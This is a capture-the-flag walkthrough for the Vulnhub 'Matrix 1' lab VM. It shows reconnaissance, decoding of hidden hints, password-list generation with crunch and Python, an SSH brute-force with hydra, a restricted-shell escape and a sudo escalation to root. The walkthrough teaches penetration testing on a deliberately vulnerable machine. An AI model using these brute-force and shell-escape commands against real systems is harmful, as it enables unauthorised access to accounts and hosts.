Solve the Matrix 1 Vulnhub in 13 Steps

This article is going to walk through the step I used to solve the Matrix 1 vulnerable VMs that can be download at the https://www.vulnhub.com/entry/matrix-1,259/

The objective of the game

Get the root access and read the file /root/flag.txt

Tools used on this game

• Kali 64bits (192.168.187.135)
• netdiscover
• NMAP
• Python
• Hydra
• crunch 

Game Setup

1) Downloaded the Matrix at VulnHub to start the game using any VM client.  The VMware Workstation  15 was used for this walkthrough.

Information Gathering

2) Used nmap or netdiscover to find the target machine IP address

3)  Gathered some information about the target machine

Two HTTP server were setup and a SSH was enabled.

4) Checked the webpage http://192.168.187.130:31337 and http://192.168.187.139/

5) Viewed the source code of those page and found

decode the base64 message

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

5) Download the Cypher.matrix

http://192.168.187.130:31337/Cypher.matrix

6) It was a brain-fuck encoded strings and decoded it online using https://www.dcode.fr/brainfuck-language , the result was 

You can enter into matrix as guest, with password k1ll0rXX

Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

7)  Generating the password file by crunch or python

Crunch

crunch 8 8 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -t k1ll0r@@ -o password.txt

Python

(source: https://github.com/fkclai/CTF/blob/master/genPass.py)

import itertools

import os

import string

charset = string.ascii_letters + string.digits

passwordPre = 'k1ll0r'

passwordFile =open('passwords.txt','w')

string =''

for (a,b) in itertools.product(charset,repeat=2):

string += passwordPre +a +b +'\n'

passwordFile.write(string)

passwordFile.close()

8) After got the password file, try to  buteforce the SSH using hydra

hydra -l guest -P password.txt 192.168.187.130 -t 16 ssh

The password was found k1ll0r7n

Get the ACCESS

9)  SSH login using the guest account

It was found that there was a restricted shell rbash

10) After checked there was two ways to break the rbash

Method One

Using ssh guest@192.168.187.130 "python -c 'import pty; pty.spawn(\"/bin/bash\")'"

Method Two

as found that the vi common didn't restricted, thus, we can

After got the bash, update the environment $SHELL

Privilege Escalation
11) Checked the sudo can be used 

12) sudo to root access , which password was the guest's password 

13) I was root now, read the /root/flag.txt

FINISHED, DONE!